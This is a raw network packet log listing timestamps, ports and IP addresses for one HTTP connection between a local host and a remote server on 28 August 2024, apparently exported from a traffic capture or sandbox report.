Aug 28, 2024 22:55:11.959458113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959469080 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959472895 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959479094 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959485054 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959494114 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959511042 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959515095 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959531069 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959539890 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959542990 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959554911 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959562063 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959573984 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959580898 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959584951 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959597111 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959608078 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959609985 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959621906 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959623098 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959634066 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959645987 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959650993 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959657907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959676027 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959680080 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959692955 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959695101 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959705114 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959717035 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959727049 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959728003 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959738970 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959743023 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959753036 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.959774971 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.959793091 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960258961 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960270882 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960280895 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960293055 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960304976 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960305929 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960314989 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960318089 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960330009 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960340977 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960351944 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960357904 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960364103 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960365057 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960377932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960388899 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960390091 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960402012 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960410118 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960421085 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960433006 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960433960 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960445881 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960457087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960458994 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960469007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960472107 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960475922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960494995 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960498095 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960508108 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960519075 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960526943 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960530996 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960547924 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960555077 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960558891 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960572004 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960581064 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960582972 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960594893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960596085 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960608006 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960624933 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960628033 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960642099 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960649967 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960650921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960664034 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960664988 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960676908 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960690975 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960694075 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960704088 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.960720062 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960735083 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.960761070 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961153984 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961165905 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961175919 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961188078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961198092 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961199999 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961214066 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961221933 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961225986 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961237907 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961237907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961251020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961261988 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961268902 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961291075 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961293936 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961302996 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961308002 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961318970 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961329937 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961332083 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961344004 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961344004 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961359024 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961361885 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961370945 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961383104 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961385012 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961394072 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961405039 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961414099 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961416960 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961430073 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961441994 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961447954 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961452007 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961466074 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961477041 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961483002 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961489916 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961502075 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961508036 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961513996 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961524010 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961528063 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961539030 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961549997 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961551905 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961563110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961574078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961576939 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961585999 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961594105 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961600065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961607933 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961612940 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961623907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.961635113 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.961659908 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962157965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962168932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962178946 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962198973 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962213993 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962219954 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962227106 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962239027 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962249994 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962250948 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962263107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962265015 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962275028 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962280035 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962286949 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962304115 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962306023 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962316990 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962328911 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962332010 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962343931 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962352037 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962356091 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962364912 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962368965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962382078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962392092 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962395906 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962410927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962420940 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962424040 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962435007 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962439060 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962457895 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962464094 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962471008 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962481976 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962491035 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962493896 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962507963 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962512970 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962519884 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962531090 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962539911 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962543011 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962554932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962555885 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962565899 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962577105 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962583065 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962590933 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962604046 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962609053 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962615967 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962627888 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.962635994 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962657928 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962685108 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.962765932 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963227034 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963238955 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963248968 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963260889 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963269949 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963272095 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963284969 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963294029 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963296890 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963310003 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963313103 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963321924 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963332891 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963339090 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963345051 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963356972 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963363886 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963375092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963377953 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963388920 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963398933 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963403940 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963412046 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963417053 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963424921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963437080 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963444948 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963450909 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963459969 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963464975 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963490009 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963512897 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963516951 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963526964 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963537931 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963550091 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963551044 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963563919 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963565111 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963578939 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963582039 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963591099 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963593006 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963603020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963615894 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963624001 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963628054 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963639975 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963651896 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963651896 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963670015 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963670969 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963673115 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963685036 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963694096 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963696957 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963709116 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963717937 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963721991 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963733912 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963740110 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963752985 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963763952 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963768005 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963776112 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963782072 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963788033 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963798046 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963800907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963810921 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963814020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963828087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963839054 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963850021 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963851929 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963866949 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963877916 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963890076 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963890076 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963891029 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963905096 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963916063 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963920116 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963927031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963943005 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.963946104 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963959932 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.963974953 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964183092 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964374065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964385986 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964396954 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964407921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964417934 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964418888 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964432955 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964443922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964443922 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964457989 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964459896 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964469910 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964488029 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964494944 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964508057 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964523077 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964534998 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964549065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964579105 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964596033 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964608908 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964618921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964629889 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964629889 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964643955 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964653969 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964656115 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.964683056 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964695930 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964730024 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.964759111 CEST	80	49702	46.8.231.109	192.168.2.7
